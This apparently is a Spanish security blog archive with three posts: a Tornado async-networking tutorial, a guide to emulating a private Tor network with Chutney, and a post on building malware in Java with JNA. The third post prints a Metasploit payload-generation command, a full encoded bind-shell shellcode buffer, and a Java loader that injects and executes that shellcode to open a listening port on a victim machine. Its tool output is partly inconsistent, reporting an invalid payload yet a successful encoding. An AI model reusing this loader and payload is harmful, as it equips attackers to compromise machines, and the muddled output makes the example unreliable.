Archivo

Archive for the ‘Programacion’ Category

Tornado para rutinas de red asincronas y no bloqueantes

noviembre 27, 2014 Deja un comentario

“Tornado” es una librería para programas escritos en Python que permite crear sistemas asíncronos y no bloqueantes para operaciones de red, en donde cada petición ejecutada por los clientes puede ser asíncrona. La forma en la que se encuentra implementada la librería, permite escalar a varios miles de conexiones abiertas, algo que resulta ideal para aplicaciones que requieren conexiones con un tiempo de vida largo. Tornado no es una librería simple, de hecho es todo un framework para diferentes tipos de elementos de red, muy similar a Twisted, pero con la diferencia de que Tornado se centra en el desarrollo de componentes de red asíncronos y no bloqueantes y Twisted es un framework reactivo, centrado en el desarrollo de componentes de red que se activan ante diferentes eventos.
El modelo tradicional para crear aplicaciones tales como servidores web que soportan varios clientes de forma concurrente, se basa en un sistema “multi-hilo”, en el que se crea un nuevo hilo por cada cliente que se conecta al servicio. Esto da como resultado un consumo bastante alto de recursos del sistema y problemas de rendimiento que pueden ser bastante serios.
Un sistema “no-bloqueante” se basa en la ejecución de un único hilo de forma continua y que responde a las peticiones de cada cliente de forma asíncrona, de esta forma, el efecto de “bloqueo” de cada función se ve muy disminuido, ya que una función asíncrona retorna antes de finalizar. Por otro lado, últimamente se ha vuelto bastante popular el uso de librerías como Tornado o AsyncIO (de la que se hablará en una próxima entrada) no solamente en Python, sino en muchos otros lenguajes como Java, PHP o Javascript para implementar rutinas asíncronas y sistemas no bloqueantes. Es un modelo que ha ido cobrando fuerza por los beneficios que aporta un sistema que consume pocos recursos comparado con los sistemas clásicos, los cuales para manejar la concurrencia crean un nuevo hilo de ejecución por cada cliente.

Para instalar Tornado, basta con ejecutar el comando “pip install tornado” o descargar la última versión disponible en el repositorio GitHub (https://github.com/tornadoweb/tornado) e instalar manualmente con el script “setup.py”.
Uno de los ejemplos más básicos a la hora de usar Tornado, consiste en crear una aplicación web, para lo cual es necesario utilizar como mínimo tres elementos: una o varias clases del tipo “RequestHandler” para el procesamiento de las peticiones, uno o varios objetos del tipo “Application” para gestionar y enrutar adecuadamente las peticiones entrantes y finalmente, una función “main” que se encargará de iniciar el servidor. El siguiente es un ejemplo muy simple para crear un servidor web que procesa las peticiones “POST” de forma síncrona y las peticiones “GET” de forma asíncrona.

BasicTornadoWebServer.py

from tornado.ioloop import IOLoop
from tornado.web import RequestHandler, Application, url, asynchronous

class HelloHandler(RequestHandler):
    @asynchronous
    def get(self):
        self.write("Hello, world")

    def post(self):
        self.write("Hello, world")    

app = Application([ url(r"/", HelloHandler), ])
app.listen(9090)
IOLoop.current().start()

Como se puede apreciar, la clase “IOLoop” es la encargada de crear el hilo de ejecución que se encargará de procesar cada petición entrante por el puerto “9090”. Por otro lado, por defecto las funciones de una instancia de “RequestHandler” son síncronas, esto quiere decir que el hilo de ejecución principal será bloqueado hasta que la función retorne y en este caso, para implementar una función asíncrona, se debe utilizar el decorador “asynchronous”.
Se trata de un ejemplo muy simple y Tornado implementa muchas clases y funciones que permiten crear aplicaciones web asíncronas y con elementos tan interesantes como autenticación de usuarios, protección a CSRF o cookies seguras. Estos elementos serán analizados con mayor detalle en una próxima entrada, en esta nos centraremos en el uso de las utilidades incluidas en Tornado para networking.
Elementos y utilidades en Tornado para operaciones de red asíncronas
Tal como se ha visto antes la utilidad “tornado.ioloop” es el elemento principal para iniciar el hilo de ejecución en Tornado, no obstante no solamente se puede utilizar para crear un servidor HTTP que permita el procesamiento de peticiones, también es posible crear sockets TCP o UDP y responder a cada cliente de forma asíncrona. El siguiente es un ejemplo de cómo crear un servidor TCP básico con Tornado.


import errno
import functools
import socket
from tornado import ioloop, iostream
def connection(sock, filedes, event):
    while True:
        try:
            connection, address = sock.accept()
        except socket.error, e:
            if e[0] not in (errno.EWOULDBLOCK, errno.EAGAIN):
                raise
            return
        connection.setblocking(0)
        stream = iostream.IOStream(connection)
        stream.write("HTTP/1.1 200 OK\r\nHello!\r\n", stream.close)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setblocking(0)
sock.bind(("", 8080))
sock.listen(1000)
io_loop = ioloop.IOLoop.instance()
callback = functools.partial(connection, sock)
io_loop.add_handler(sock.fileno(), callback, io_loop.READ)
try:
    io_loop.start()
except KeyboardInterrupt:
    io_loop.stop()
    print "exited cleanly"

Las primeras instrucciones que ejecuta el script anterior resultan bastante comunes para cualquier programador de Python que conoce el uso de los sockets, en este caso se está vinculando el puerto “8080” y posteriormente se utiliza una función de callback que será invocada automáticamente por la utilidad “IOLoop” cuando un cliente realice una petición al puerto 8080. La función de callback encargada de procesar cada conexión es “connection” y como se puede apreciar, recibe como argumento el socket servidor, el “file descriptor” y un listado de eventos producidos durante la conexión. Las primeras instrucciones de la función “connection” resultaran bastante comunes también, ya que lo primero que se hace es aceptar la conexión iniciada por el cliente. Posteriormente, se crea una instancia de la clase “iostream.IOStream” recibiendo como argumento la conexión del cliente. Este elemento de Tornado es lo que hace que este sencillo servidor TCP sea una rutina no bloqueante, ya que se encarga de gestionar de forma asíncrona las respuestas a todos los clientes que se conectan al servidor.

tornado1

La clase “tornado.iostream.IOStream” es una de las clases que extiende de “tornado.iostream.BaseIOStream”, la cual incluye las funciones básicas para leer y escribir datos en sockets no bloqueantes. Existen otras implementaciones tales como “iostream.SSLIOStream” o “iostream.PipeIOStream” que implementan características extendidas.

Por otro lado, el modulo “tornado.netutil” incluye varias funciones que son bastante útiles tanto para clientes como servidores. El uso de algunas de dichas funciones se enseña a continuación.

>>> from tornado import netutil
>>> sockets = netutil.bind_sockets(8000)
sockets [<socket._socketobject object at 0x7f067a1bf670>, <socket._socketobject object at 0x7f067a1bf6e0>]
>>> netutil.is_valid_ip('') False
>>> netutil.is_valid_ip('192.168.1.2') True
>>> netutil.is_valid_ip('192.168.1.999') False
>>> netutil.is_valid_ip('fe80::fe15:b4ff:fefc:f808') True
>>> netutil.is_valid_ip('aas10::fe15:b4ff:fefc:f808') False
>>> resDNS = netutil.Resolver()
>>> resDNS.configure('tornado.netutil.BlockingResolver')
>>> resDNS.resolve('www.google.com',80) <tornado.concurrent.Future object at 0x7f0679b01bd0> >>> dir(_)
['__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_callbacks', '_check_done', '_done', '_exc_info', '_exception', '_result', '_set_done', 'add_done_callback', 'cancel', 'cancelled', 'done', 'exc_info', 'exception', 'result', 'running', 'set_exc_info', 'set_exception', 'set_result']

La función “bind_sockets” se encarga de crear los sockets en todas las interfaces de red disponibles y devuelve un listado con cada una de las referencias creadas.
La función “is_valid_ip” se encarga de validar si una dirección IPv4 o IPv6 es válida y finalmente, la clase “Resolver” permite configurar varios de tipos de “resolvers” para peticiones DNS bloqueantes y no bloqueantes.
Para mayor información sobre más utilidades disponibles en Tornado, se recomienda revisar la documentación: http://tornado.readthedocs.org/en/latest/netutil.html

Finalmente, Tornado incluye un servidor TCP que puede ser utilizado como un envoltorio de la utilidad “IOLoop” descrita anteriormente. Dicho servidor incluido en Tornado tiene la ventaja de que se encarga de gestionar automáticamente el estado del bucle iniciado por “IOLoop”.
Existen 3 mecanismos que se pueden implementar con la utilidad TCPServer.
1. Un único proceso en ejecución.

>>> from tornado import tcpserver >>> server = tcpserver.TCPServer() >>> server.listen(8080) >>> from tornado import ioloop
>>> ioloop.IOLoop.instance().start()

2. Multi-proceso simple con las funciones estandar “bind” y “start”

>>> from tornado import tcpserver
>>> server = tcpserver.TCPServer()
>>> server.bind(8080)
>>> server.start(8080)
>>> from tornado import ioloop
>>> ioloop.IOLoop.instance().start()

3. Multi-proceso avanzado utilizando la funcion “add_sockets”

>>> from tornado import tcpserver
>>> from tornado import ioloop
>>> from tornado import netutil
>>> from tornado import process
>>> sockets = netutil.bind_sockets(8000)
>>> process.fork_processes(0)
>>>server = tcpserver.TCPServer()
>>>server.add_sockets(sockets)
>>>IOLoop.instance().start()

Este ha sido el uso básico de Tornado, sin embargo hay que aclarar que existen otras librerías que son bastante robustas y que permiten conseguir los mismos objetivos, como es el caso de AsyncIO o incluso algunos módulos de Twisted. En el caso de AsyncIO, se encuentra incluida por defecto en las últimas versiones de Python 3, concretamente a partir de la versión 3.4. De dicha librería se hablará más adelante en otro artículo.
Saludos y Happy Hack!

Crea tu propia red privada de TOR – Emulación de TOR con Chutney

noviembre 20, 2014 3 comentarios

Somos muchos los que nos interesa saber cómo funciona TOR, pero también somos muchos los que sabemos que existen varios riesgos cuando entramos a ese tipo de redes cuando lo único que queremos es hacer pruebas, por ese motivo, una buena forma de comprender el funcionamiento de todos los elementos que conforman TOR, sin acceder directamente a la red, es por medio de herramientas y librerías que permiten simular y/o emular la red.
En primer lugar, es necesario entender la diferencia entre simular y emular, ambos términos a veces suelen utilizarse como si se tratase de sinónimos, pero no son lo mismo. Cuando simulamos un sistema, contamos con modelo muy especifico que aplica a un contexto particular, por ejemplo, podemos simular el rendimiento midiendo los tiempos de respuesta y haciendo estimaciones sobre su comportamiento con una mayor carga o con más o menos recursos, es decir, una simulación es un mecanismo que permite modelar un sistema en unas condiciones determinadas y es muy útil para hacer estimaciones. Por otro lado, cuando se habla de emular, se duplica el sistema y se ejecuta de forma independiente al sistema original, es decir, se produce una replica del sistema y se puede observar y analizar su comportamiento, dando resultados mucho más exactos que los que puede proporcionar una simulación.
Ahora bien, las simulaciones y emulaciones son términos que seguramente resultarán bastante conocidos y utilizados a los administradores de sistemas y redes, ya que existen varias herramientas que emplean ambos mecanismos para medir los limites de un sistema o el número de clientes concurrentes que pueden estar conectados a una red sin deteriorar su rendimiento. En este sentido, es posible utilizar algunas de estas mismas herramientas para probar el funcionamiento de TOR sin necesidad de conectarse directamente a las autoridades de directorio oficiales. El objetivo de este articulo y el siguiente, es enseñar el uso de dos herramientas que son recomendadas por el equipo de TOR para hacer pruebas sobre la red, dichas herramientas son Chutney y Shadow, la primera es una herramienta de emulación y la segunda de simulación. En esta entrada nos centraremos en Chutney y en la próxima se hablará sobre Shadow.

Instalación y uso de Chutney

Chutney es una herramienta que permite emular y configurar una red privada con TOR muy rápidamente, permitiendo crear varios escenarios en los que Chutney es capaz de levantar autoridades de directorio, repetidores, clientes, bridges y cualquier elemento adicional que conforma la red de TOR. Usar Chutney no es complicado, de hecho es una herramienta bastante sencilla e intuitiva, pero para configurar escenarios de prueba, es necesario conocer bastante bien las propiedades de configuración que admite TOR, es decir, aquellas que típicamente se incluyen en el fichero de configuración “torrc”.
El proyecto se encuentra ubicado en la siguiente ruta: https://gitweb.torproject.org/chutney.git y para comenzar a usarlo, basta con clonar el repositorio GIT y lanzar la utilidad “chutney”

>git clone https://git.torproject.org/chutney.git
Clonar en «chutney»…
remote: Counting objects: 364, done.
remote: Compressing objects: 100% (170/170), done.
remote: Total 364 (delta 180), reused 282 (delta 137)
Receiving objects: 100% (364/364), 58.68 KiB | 0 bytes/s, done.
Resolving deltas: 100% (180/180), done.
Checking connectivity… hecho.
>cd chutney
>./chutney
Error: Not enough arguments given.
Usage: chutney {command} {networkfile}
Known commands are: configure hup restart start status stop verify

Para ejecutar “chutney” se debe indicar un comando y un fichero de configuración de red. Los comandos disponibles son “configure”, “hup”, “restart”, “start”, “status”, “stop” y “verify”. Además, se debe indicar la ruta del fichero de configuración de red como segundo argumento del comando.

Para que la herramienta funcione correctamente, el comando “tor” debe ser un comando valido para el usuario que lo ejecuta, es decir, que TOR se debe encontrar instalado en el sistema y el usuario en cuestión debe de tener los privilegios suficientes para poder ejecutarlo, de lo contrario, “chutney” enseñará el siguiente mensaje.

>./chutney configure networks/basic
Starting nodes
Cannot find tor binary ‘tor’. Use CHUTNEY_TOR environment variable to set the path, or put the binary into $PATH.

Basta con establecer la ruta donde se encuentra el ejecutable en la variable de entorno PATH.

>nano /home/adastra/.bashrc
export PATH=”$PATH:/TOR/tor-browser_40/Browser/TorBrowser/Tor/tor”
>source ~/.bashrc

Si TOR se ha instalado desde algún repositorio de Debian, CentOS o Fedora, no debería haber mayores problemas, sin embargo se recomienda instalar la última versión de TOR disponible, preferiblemente desde el código fuente.

Después de tener todos los elementos instalados y listos para ser utilizados, el primer paso en la puesta en marcha de “chutney” es invocar al comando “configure” para crear todos los directorios y las claves necesarias para instanciar las autoridades de directorio en la máquina donde se ejecuta la herramienta. Dicho comando se debe ejecutar sobre un directorio de configuración de red y en este caso, “chutney” cuenta con algunos ficheros de ejemplo que pueden ser útiles para probar la herramienta. Dichos ficheros se encuentran incluidos en el directorio “networks”.
Cuando se ejecuta el comando “configure”, la herramienta se encarga de crear automáticamente el directorio “net”, el cual incluye todos los elementos necesarios para emular la red de TOR.

>./chutney configure networks/basic
Creating identity key /chutney/net/nodes/000a/keys/authority_identity_key for test000a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/000a/keys/authority_identity_key -s /chutney/net/nodes/000a/keys/authority_signing_key -c /chutney/net/nodes/000a/keys/authority_certificate -m 12 -a 127.0.0.1:7000Creating identity key /chutney/net/nodes/001a/keys/authority_identity_key for test001a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/001a/keys/authority_identity_key -s /chutney/net/nodes/001a/keys/authority_signing_key -c /chutney/net/nodes/001a/keys/authority_certificate -m 12 -a 127.0.0.1:7001Creating identity key /chutney/net/nodes/002a/keys/authority_identity_key for test002a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/002a/keys/authority_identity_key -s /chutney/net/nodes/002a/keys/authority_signing_key -c /chutney/net/nodes/002a/keys/authority_certificate -m 12 -a 127.0.0.1:7002The tor binary at ‘tor’ does not support the option in the torrc line:’TestingDirAuthVoteExit *’
The tor binary at ‘tor’ does not support the option in the torrc line:
‘TestingDirAuthVoteExit *’
The tor binary at ‘tor’ does not support the option in the torrc line:
‘TestingDirAuthVoteExit *’

Como se puede apreciar en las últimas líneas, la opción de configuración “TestingDirAuthVoteExit” no se ha encontrado y aunque es posible seguir trabajando con “chutney” sin problemas a pesar de este error, se trata de una propiedad de configuración que se ha incluido a partir de la versión “2.6-alpha” de TOR y a la fecha de redactar este artículo, aun no se encuentra disponible en la versión estable.
Ahora que se encuentra la red privada configurada, se puede controlar con los comandos “start”, “stop” y “status” tal como enseña la siguiente imagen.

chutney

Comandos disponibles en chutney

La configuración básica funciona correctamente y como se puede ver, se han creado una serie de procesos que representan instancias de TOR que se están ejecutando en la máquina local. No obstante, no se trata de instancias de TOR que se levantan con las propiedades por defecto de TOR Browser, se trata de instancias especialmente configuradas para levantar clientes, autoridades de directorio, repetidores de salida, bridges, etc. En este caso concreto, el contenido del fichero “networks/basic” tiene lo siguiente.

Authority = Node(tag=”a”, authority=1, relay=1, torrc=”authority.tmpl”)
Relay = Node(tag=”r”, relay=1, torrc=”relay.tmpl”)
Client = Node(tag=”c”, torrc=”client.tmpl”)
NODES = Authority.getN(3) + Relay.getN(8) + Client.getN(2)
ConfigureNodes(NODES)

Aunque pueda parecer complejo, esta es la estructura de cualquier fichero de configuración de red de la herramienta y en este caso concreto, se están creando 3 instancias de TOR que actuarán como autoridades de directorio, 8 como repetidores y 2 como clientes, lo que nos da un total de 13 nodos ejecutándose en la máquina local.
La estructura del fichero utiliza la API de “chutney” que se encuentra escrita en Python y cuya clase principal es “Node”, en la que se permite crear una instancia de TOR con características muy concretas y además, cada una de dichas instancias contará con su propio fichero de configuración de TOR (torrc).
Si se mira con atención el fichero de configuración anterior, se puede apreciar que se compone de una serie de instancias de la clase “Node” las cuales son “clonadas” utilizando un patrón “singleton” con el método “getN” en el que se indica el número de instancias que se debe crear. Finalmente, la utilidad “ConfigureNodes” se encarga de configurar todas y cada una de las referencias declaradas.

Configuración personalizada de Chutney

Hasta este punto se ha podido apreciar que configurar “chutney” no es demasiado complejo, sin embargo se ha utilizado una configuración que viene por defecto en el fichero “networks/basic”. Para hacer pruebas un poco más robustas y que posteriormente puedan servir para detectar errores en el funcionamiento de TOR, es necesario aprender a crear ficheros de configuración de red personalizados, algo que tampoco es demasiado complejo si se conocen las principales propiedades que se pueden utilizar en TOR.
En primer lugar, es importante anotar que el constructor de la clase “Node” recibe dos argumentos que identifican la configuración que se debe aplicar en la instancia de TOR, el primero es “tag”, el cual indica si se trata de un repetidor, un cliente, una autoridad de directorio o un bridge y el segundo es el parámetro “torrc”, el cual recibe un nombre de fichero con extensión “tmpl”, el cual representa una plantilla con las propiedades soportadas por TOR.
En el ejemplo anterior, el fichero “networks//basic” ha utilizado las plantillas “authority.tmpl”, “relay.tmpl” y “client.tmpl” y dichas plantillas se encuentran definidas en el directorio “<CHUTNEY_DIR>/templates/”. Para que el lector se haga una idea sobre lo que pueden incluir dichos ficheros, el siguiente es el contenido de la plantilla “authority.tmpl”

${include:relay.tmpl}
AuthoritativeDirectory 1
V3AuthoritativeDirectory 1
ContactInfo auth${nodenum}@test.test
ExitPolicy reject *:*
TestingV3AuthInitialVotingInterval 300
TestingV3AuthInitialVoteDelay 2
TestingV3AuthInitialDistDelay 2
TestingV3AuthVotingStartOffset 0
# Work around situations where the Exit and Guard flags aren’t being set
# These flags are set eventually, but it takes ~30 minutes
# We could be more precise here, but it’s easiest just to vote everything
# Clients are sensible enough to filter out Exits without any exit ports,
# and Guards without ORPorts
# If your tor doesn’t recognise TestingDirAuthVoteExit, update your chutney
# to a version that includes the issue-13161-check-torrc-options features
TestingDirAuthVoteExit *
TestingDirAuthVoteGuard *

Efectivamente, se trata de ficheros muy simples que siguen la misma sintaxis y estructura que el fichero de configuración “torrc”. La única diferencia es que los ficheros plantilla de “chutney” deben incluir una declaración al principio del fichero en el caso de que sea necesario incluir otras plantillas y además, es posible acceder a variables globales “chutney” con “${variable}” tal como se ha visto en el fichero.

Para probar cualquier tipo de configuración es necesario conocer muy bien las propiedades de configuración de TOR y jugar con ellas!
Chutney ya se encarga de crear el entorno por nosotros y emular la red de TOR en nuestro ordenador, con tantas instancias como queramos. Además, como se verá en un próximo artículo, también es posible utilizar Chutney en otras máquinas del segmento de red para tener una emulación mucho más aproximada del comportamiento de TOR, desde un entorno controlado y sin necesidad de estar conectado a Internet.

Herramientas como Chutney son muy utilizadas actualmente por hackers e investigadores con el fin de estudiar el comportamiento de TOR en un entorno aislado para que de esta forma, sea más sencillo encontrar fallos en su implementación sin afectar directamente a la red. Es una herramienta que desde luego es muy recomendada para aquellas personas que quieran probar diferentes configuraciones de TOR en su red local.

Saludos y Happy Hack!

Inyección de Maleware en programas Java con acceso nativo utilizando JNA

noviembre 13, 2014 1 comentario

Cuando se habla de APTs y cibercrimen, casi siempre se habla también de maleware y/o software vulnerable, ya que son los elementos angulares de cualquier campaña APT independientemente de su alcance. En este y otros artículos, intentaré explicar algunas de las técnicas que utilizan los atacantes en Internet para escribir maleware e intentar comprometer los sistemas de sus víctimas. En esta ocasión corresponde hablar sobre Java y JNA (Java Native Access).
Java es un lenguaje muy popular por ser uno de los primeros que se ha enfocado a Internet y por contar con una extensa API llena de funcionalidades para todos los gustos y colores. No obstante y “curiosamente” desde que Sun MicroSystems fue adquirida por Oracle, han salido a la luz varias vulnerabilidades relacionadas directamente con la máquina virtual de Java, muchas de las cuales han permitido la ejecución remota de código. Este hecho ha sido explotado de forma continuada por muchos atacantes en Internet y ahora representa en un problema bastante serio.
Sin embargo, además de las vulnerabilidades que se han detectado en la JVM, también existen otros problemas relacionados con la ejecución de Applets, especialmente cuando dichos Applets pueden ejecutar código nativo que no es gestionado directamente por la máquina virtual, como por ejemplo aquellas rutinas de código que utilizan JNI o JNA para acceder a funciones del sistema.

¿Qué es JNA y cómo me puedo beneficiar de dicha librería?

Como seguramente ya sabes, Java es un lenguaje híbrido, es una mezcla entre un lenguaje interpretado y un lenguaje compilado. Además, una de las ventajas que tiene y que le ha permitido ganar popularidad es que todas las instrucciones de código de un programa, se ejecutan directamente sobre una máquina virtual de Java y no sobre un sistema operativo concreto, de esta forma se trata de código que se puede ejecutar en diferentes sistemas operativos, siempre y cuando dichos sistemas tengan instalada la JVM (Java Virtual Machine). Un lenguaje con dichas características en los años en los que salio a la luz Java, era toda una revolución, ya que por aquel entonces (hablamos de la década de los 90s), era muy común escribir programas en C/C++ para plataformas especificas y con Java, se simplificaba muchísimo el desarrollo, ya que el mismo programa podía ser interpretado de la misma forma en múltiples sistemas operativos. Ha sido una idea genial y que muchos lenguajes adoptaron posteriormente.
Aunque todas las instrucciones de un programa escrito en Java pueden ejecutarse de forma independiente del sistema operativo, las operaciones relacionadas con la gestión de la memoria y el acceso a determinas funciones son completamente gestionadas por la JVM y el control que puede tener el programador para acceder a estructuras o ejecutar funciones del sistema operativo es prácticamente nulo. Dado que en ocasiones muy concretas, era necesario ejecutar código nativo y la JVM no lo permitía, surgió la interfaz JNI (Java Native Interface) la cual permitía ejecutar código nativo en lenguaje C desde un programa escrito en Java. Dado que la ejecución de este tipo de programas requiere cierta “confianza”, programas escritos con la finalidad de ser distribuidos a otros clientes, como los Applets, se encuentran limitados por un sandbox en el que la ejecución de este tipo de operaciones “potencialmente peligrosas” se encuentran restringidas, a menos claro, de que se permitan explícitamente utilizando el mecanismo de políticas de Java por medio de los ficheros “java.policy” o “java.security”.
JNI ha sido el mecanismo estándar utilizado por los programadores de Java para acceder a rutinas de código nativas escritas en lenguaje C, sin embargo su uso era algo complejo incluso para acceder a rutinas simples, por ese motivo, entre otros, salio el proyecto JNA (Java Native Access) el cual no solamente incluye formas mucho más convenientes de acceder a código nativo desde Java, sino que para un atacante, también permite crear rutinas maliciosas (maleware) para ejecutar código arbitrario en el sistema.
Antes de explicar cómo hacer esto, se enseña el uso básico de JNA en un programa escrito en Java que se encarga simplemente de ejecutar la función “printf” de C.

test.java

			
import com.sun.jna.Library; 
import com.sun.jna.Native; 
import com.sun.jna.Platform;
			
public class test { 	
    public interface CLibrary extends Library { 
        CLibrary INSTANCE = (CLibrary) Native.loadLibrary( 
            (Platform.isWindows() ? "msvcrt" : "c"), CLibrary.class); 
        void printf(String format, Object... args); 
    } 
			
    public static void main(String[] args) { 
        CLibrary.INSTANCE.printf("Mensaje  utilizando la función 'printf' de C.\n"); 
        for (int i = 0; i < args.length; i++) { 
            CLibrary.INSTANCE.printf("Parámetro %d: %s\n", i, args[i]); 
        } 
    } 		
} 
			
			

Para compilar el código anterior con la utilidad “javac”, es necesario descargar el fichero JAR de JNA, ya que es una librería que no se encuentra incluida por defecto en el JDK de Java. Para descargar el JAR correspondiente, puedes dirigirte al siguiente repositorio: http://mvnrepository.com/artifact/net.java.dev.jna/jna/4.1.0 debes pinchar donde pone “Download JAR”, al lado del texto que pone “Artifact” o si tienes un proyecto Java gestionado con Maven, puedes incluir dicha dependencia en el fichero pom.xml del proyecto y descargarla automáticamente con Maven.

Ahora, para compilar el programa anterior con el comando “javac” es necesario indicar en el “classpath”, la ruta en la que se encuentra el fichero JAR.

javac -cp jna-4.1.0.jar test.java

En este caso, se asume que la librería “jna-4.1.0.jar” se encuentra ubicada en la misma ruta que el programa Java.
La ejecución del comando anterior dará como resultado dos fichero “.class”, el primero incluye el bytecode de la clase “test” compilada y el segundo el bytecode de la interfaz “CLibrary”.
Ahora se procede a ejecutar el programa y como se puede apreciar, se accede a la función “printf” de C desde el programa escrito en Java.

>java -cp jna-4.1.0.jar:. test aa aa
Mensaje utilizando la función ‘printf’ de C.
Parámetro 0: aa
Parámetro 1: aa

Hasta este punto el uso de JNA parece bastante simple, pero cuenta con varias clases interesantes que se detallarán a continuación para crear maleware.

¿Cómo desarrollar programas con JNA para crear y posteriormente distribuir Maleware?

Si un atacante tiene la posibilidad de manipular la memoria o invocar funciones del sistema operativo desde un programa escrito en Java, como si se tratará de cualquier programa en C, tendrá la posibilidad de ejecutar shellcodes, rutinas de código para acceder remotamente o ejecutar cualquier otra actividad sobre el sistema, las posibilidades se limitan a su creatividad.
Vamos a plantear un ejemplo demostrativo, en el que se creará un payload del tipo “bind_tcp” y desde un programa escrito en Java, se utilizará JNA para reservar un espacio de memoria equivalente a la longitud del payload y posteriormente, se controlará el flujo del programa para posicionarlo en la región de memoria donde se ha cargado el shellcode para que se pueda ejecutar.

El shellcode se puede generar fácilmente utilizando Metasploit Framework con las utilidades msfpayload y msfencode o con msfvenom, el resultado en cualquier caso es el mismo.

>msfpayload linux/meterpreter/bind_tcp LPORT=4444 R | msfencode -c 10 -e x86/shikata_ga_nai -t c -b “\x00″
Invalid payload: linux/meterpreter/bind_tcp
[*] x86/shikata_ga_nai succeeded with size 27 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 54 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 81 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 108 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 135 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 162 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 189 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 216 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 243 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 270 (iteration=10)
unsigned char buf[] =
“\xdb\xd6\xd9\x74\x24\xf4\xb8\x09\x84\x64\xe3\x5f\x29\xc9\xb1″
“\x3d\x83\xef\xfc\x31\x47\x16\x03\x47\x16\xe2\xfc\x3c\x93\x8b”
“\xf5\xe2\x87\x9f\xd0\x6f\x1c\xd4\xbc\xbc\x95\xa5\x77\xf2\x63″
“\xd4\x74\xb2\x79\x5b\x63\xae\x97\x70\xac\x70\x50\x20\x49\x39″
“\xef\x04\x9c\x04\x7d\xa9\x9a\xe8\xa1\x7e\x35\xda\x5e\xba\x2d”
“\xb1\xd5\x44\xb1\xf4\x29\x1d\x89\x2d\x8e\x5a\x1e\xff\x76\x2b”
“\x74\xe6\x83\x19\xec\x63\xfb\x9b\x97\xc1\x35\xcc\x37\xe5\x7d”
“\xa0\x9e\x90\x9f\x99\x9b\xfb\xc8\xa8\xd3\xd4\x14\x20\x10\xd8″
“\xf7\xfe\x05\xe3\xbe\x24\xf5\x17\xc3\xfd\x0e\x6d\x51\x09\xab”
“\x38\x46\x41\x04\xe1\xd0\x89\x77\x83\xb5\x12\xaa\xab\x84\xb6″
“\x1f\xb4\x81\xb0\xdd\x6d\x39\xfd\x01\x09\x17\xb2\x38\xb1\x45″
“\x6d\xaa\x12\x4f\x1c\xcd\xe8\x4e\x21\x85\x74\x55\x76\x3d\xb9″
“\xd5\x1f\xa6\xcb\x75\xc6\x5c\x97\x2b\xc8\xc1\x72\x6c\x59\x60″
“\x42\x9f\x60\x63\x08\x23\xa3\xf3\xb3\x8e\xd3\x4d\x9a\x0c\xf1″
“\xcf\x92\x2a\x20\x8c\x38\x53\x69\x14\xa4\x53\x4a\x02\xad\x43″
“\x69\xba\x8e\x0d\x28\x1c\x32\x3a\x70\x65\x50\x2a\x72\x38\x5a”
“\x03\x2b\xc1\xf2\x62\xbb\x8e\xc1\xa2\x0a\x05\x86\xf4\x81\x92″
“\xd1\x6d\xaf\x17\x74\xcc\xa3\x48\x66\x55\x73\x2a\x5f\x28\xc0″;

A continuación se enseña una prueba de concepto simple para enseñar la estructura base del programa.

malewareJava.java

import com.sun.jna.Memory; 
import com.sun.jna.Function; 

public class malewareJava { 

public static String shellcode_hex="db d6 d9 74 24 f4 b8 …. "; 
public static byte[] shellcode; 
public static long offset=0; 

public static void main(String ... s) { 
	String[] values = shellcode_hex.split(" "); 
      shellcode = new byte[values.length]; 
      int i = 0; 
      for(i=0;i<values.length;i++) { 
	  shellcode[i] =  Integer.decode("0x" + values[i]).byteValue(); 
      } 
     Memory mem=new Memory(shellcode.length); 
     mem.clear(shellcode.length); 
     mem.write(offset,shellcode,0,shellcode.length); 
     Function f=Function.getFunction(mem,0); 
     f.invoke(null); 
  } 
}

 

La variable “shellcode_hex” contiene el shellcode generado anteriormente con Metasploit y en la función “main” del programa se obtiene un array decodificado con cada uno de los valores de dicho shellcode. La parte interesante del programa viene después, ya que se utiliza la clase “Memory” para reservar el espacio de memoria correspondiente a la longitud total del shellcode y posteriormente con los métodos “clear” y “write” se limpia y se inyecta el shellcode en la sección de memoria reservada.
Finalmente, con la clase “Function” se ejecuta el método “getFunction” para recuperar una referencia a la dirección de memoria donde se encuentra el shellcode y se invoca con el método “invoke”.
Después de ejecutar el programa anterior sobre un sistema Windows, se abrirá el puerto “4444” en la máquina de la víctima, tal como se ha indicado anteriormente al ejecutar Metasploit.

C:\Documents and Settings\jdaanial\Desktop>javac malewareJava.java
C:\Documents and Settings\jdaanial\Desktop>java malewareJava

Cuando se ejecuta el programa anterior, el proceso queda en estado de escucha y el puerto “4444” quedará abierto.
Si se observa atentamente, no se ha especificado el path donde se encuentra la librería de JNA, esto es debido a que por comodidad, se ha incluido directamente en el directorio de extensiones de la JVM, dicho directorio para el JDK se encuentra en <JDK_HOME>/jre/lib/ext y para el JRE se encuentra en <JRE_HOME>/lib/ext.
Después de ejecutar el programa se podrá ver el puerto “4444” abierto y esperando conexiones.

C:\Documents and Settings\jdaanial>netstat -anv

Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0.0:25 0.0.0.0:0 LISTENING

TCP 0.0.0.0:110 0.0.0.0:0 LISTENING

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

TCP 0.0.0.0:143 0.0.0.0:0 LISTENING

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING

TCP 192.168.1.38:4444 0.0.0.0:0 LISTENING

TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING

